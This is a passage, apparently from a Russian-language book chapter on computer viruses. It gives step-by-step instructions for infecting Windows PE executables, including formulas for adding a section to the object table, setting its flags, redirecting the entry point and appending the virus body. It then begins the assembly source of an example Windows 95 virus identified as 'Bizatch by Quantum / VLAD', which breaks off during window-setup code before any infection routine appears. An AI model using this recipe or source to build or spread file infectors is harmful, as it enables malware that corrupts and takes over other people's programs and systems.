Выбрать главу

Внутри PE-заголовка находится таблица объектов. Ее формат наиболее важен по сравнению с прочими. Для добавления вирусного кода в носитель и перехвата вирусом управления необходимо добавить элемент в таблицу объектов.

Основные действия заражения PE-executable файла:

1. Найти смещение заголовка PE-executable в файле.

2. Считать достаточное количество информации из заголовка для вычисления его полного размера.

3. Считать весь PE-заголовок и таблицу объектов.

4. Добавить новый объект в таблицу объектов.

5. Установить точку входа RVA на новый объект.

6. Дописать вирус к файлу по вычисленному физическому смещению.

7. Записать измененный PE-заголовок в файл.

Для определения расположения таблицы объектов следует воспользоваться значением переменной «HeaderSize» (не путать с «NT headersize»), которая содержит совместный размер заголовков DOS, PE и таблицы объектов.

Для чтения таблицы объектов необходимо считать HeaderSize байт от начала файла.

Таблица объектов расположена непосредственно за NT-заголовком. Значение «NTheadersize» показывает количество байт, следующих за полем «flags». Итак, для определения смещения таблицы объектов нужно получить NTheaderSize и добавить размер поля флагов (24).

Добавление объекта: получив количество объектов, умножить его на 40 (размер элемента таблицы объектов). Таким образом определяется смещение, по которому будет расположен вирус.

Данные для элемента таблицы объектов должны быть вычислены с использованием информации в предыдущем элементе (элементе носителя).

RVA=((prev RVA+prev Virtual Size)/OBJ Alignment+1)

*OBJ Alignment

Virtual Size=((size of virus+buffer any space)/OBJ Alignment+1)

*OBJ Alignment

Physical Size=(size of virus/File Alignment+1)*File Alignment

Physical Offset=prev Physical Offset+prev Physical Size

Object Flags=db 40h,0,0,C0h

Entrypoint RVA=RVA

Теперь необходимо увеличить на единицу поле «количество объектов» и записать код вируса по вычисленному «физическому смещению» в размере «физического размера» байт.

Пример вируса под Windows 95

.386

locals

jumps

.model flat,STDCALL

include win32.inc ;некоторые 32−битные константы и структуры

L equ <LARGE>

;Определим внешние функции, к которым будет подключаться вирус

extrn BeginPaint:PROC

extrn CreateWindowExA:PROC

extrn DefWindowProcA:PROC

extrn DispatchMessageA:PROC

extrn EndPaint:PROC

extrn ExitProcess:PROC

extrn FindWindowA:PROC

extrn GetMessageA:PROC

extrn GetModuleHandleA:PROC

extrn GetStockObject:PROC

extrn InvalidateRect:PROC

extrn LoadCursorA:PROC

extrn LoadIconA:PROC

extrn MessageBeep:PROC

extrn PostQuitMessage:PROC

extrn RegisterClassA:PROC

extrn ShowWindow:PROC

extrn SetWindowPos:PROC

extrn TextOutA:PROC

extrn TranslateMessage:PROC

extrn UpdateWindow:PROC

;Для поддержки Unicode Win32 интерпретирует некоторые функции

;для ANSI или расширенного набора символов.

;В качестве примера рассмотрим ANSI

CreateWindowEx equ <CreateWindowExA>

DefWindowProc equ <DefWindowProcA>

DispatchMessage equ <DispatchMessageA>

FindWindow equ <FindWindowA>

GetMessage equ <GetMessageA>

GetModuleHandle equ <GetModuleHandleA>

LoadCursor equ <LoadCursorA>

LoadIcon equ <LoadIconA>

MessageBox equ <MessageBoxA>

RegisterClass equ <RegisterClassA>

TextOut equ <TextOutA>

.data

newhwnd dd 0

lppaint PAINTSTRUCT <?>

msg MSGSTRUCT <?>

wc WNDCLASS <?>

mbx_count dd 0

hInst dd 0

szTitleName db ”Bizatch by Quantum / VLAD activated”

zero db 0

szAlternate db ”more than once”,0

szClassName db ”ASMCLASS32”,0

;Сообщение, выводимое в окне

szPaint db ”Left Button pressed:”

s_num db ”00000000h times.”,0

;Размер сообщения

MSG_L EQU ($−offset szPaint)−1

.code

;Сюда обычно передается управление от загрузчика.

start:

;Получим HMODULE

push L 0

call GetModuleHandle

mov [hInst],eax

push L 0

push offset szClassName

call FindWindow

or eax,eax

jz reg_class

;Пространство для модификации строки заголовка

mov [zero],” ”

reg_class:

;Инициализируем структуру WndClass

mov [wc.clsStyle],CS_HREDRAW+CS_VREDRAW+CS_GLOBALCLASS

mov [wc.clsLpfnWndProc],offset WndProc

mov [wc.clsCbClsExtra],0

mov [wc.clsCbWndExtra],0

mov eax,[hInst]

mov [wc.clsHInstance], eax

;Загружаем значок

push L IDI_APPLICATION

push L 0

call LoadIcon

mov [wc.clsHIcon], eax

;Загружаем курсор

push L IDC_ARROW

push L 0

call LoadCursor

mov [wc.clsHCursor], eax

;Инициализируем оставшиеся поля структуры WndClass

mov [wc.clsHbrBackground],COLOR_WINDOW+1

mov dword ptr [wc.clsLpszMenuName],0

mov dword ptr [wc.clsLpszClassName],offset szClassName

;Регистрируем класс окна

push offset wc

call RegisterClass

;Создаем окно

push L 0 ;lpParam

push [hInst] ;hInstance

push L 0 ;Меню

push L 0 ;hwnd родительского

окна

push L CW_USEDEFAULT ;Высота

push L CW_USEDEFAULT ;Длина

push L CW_USEDEFAULT ;Y

push L CW_USEDEFAULT ;X

push L WS_OVERLAPPEDWINDOW ;Style

push offset szTitleName ;Title Style

push offset szClassName ;Class name

push L 0 ;extra style

call CreateWindowEx

;Сохраняем HWND

mov [newhwnd], eax

;Отображаем окно на экране

push L SW_SHOWNORMAL

push [newhwnd]

call ShowWindow

;Обновляем содержимое окна

push [newhwnd]

call UpdateWindow

;Очередь сообщений

msg_loop:

;Прочитаем следующее сообщение из очереди

push L 0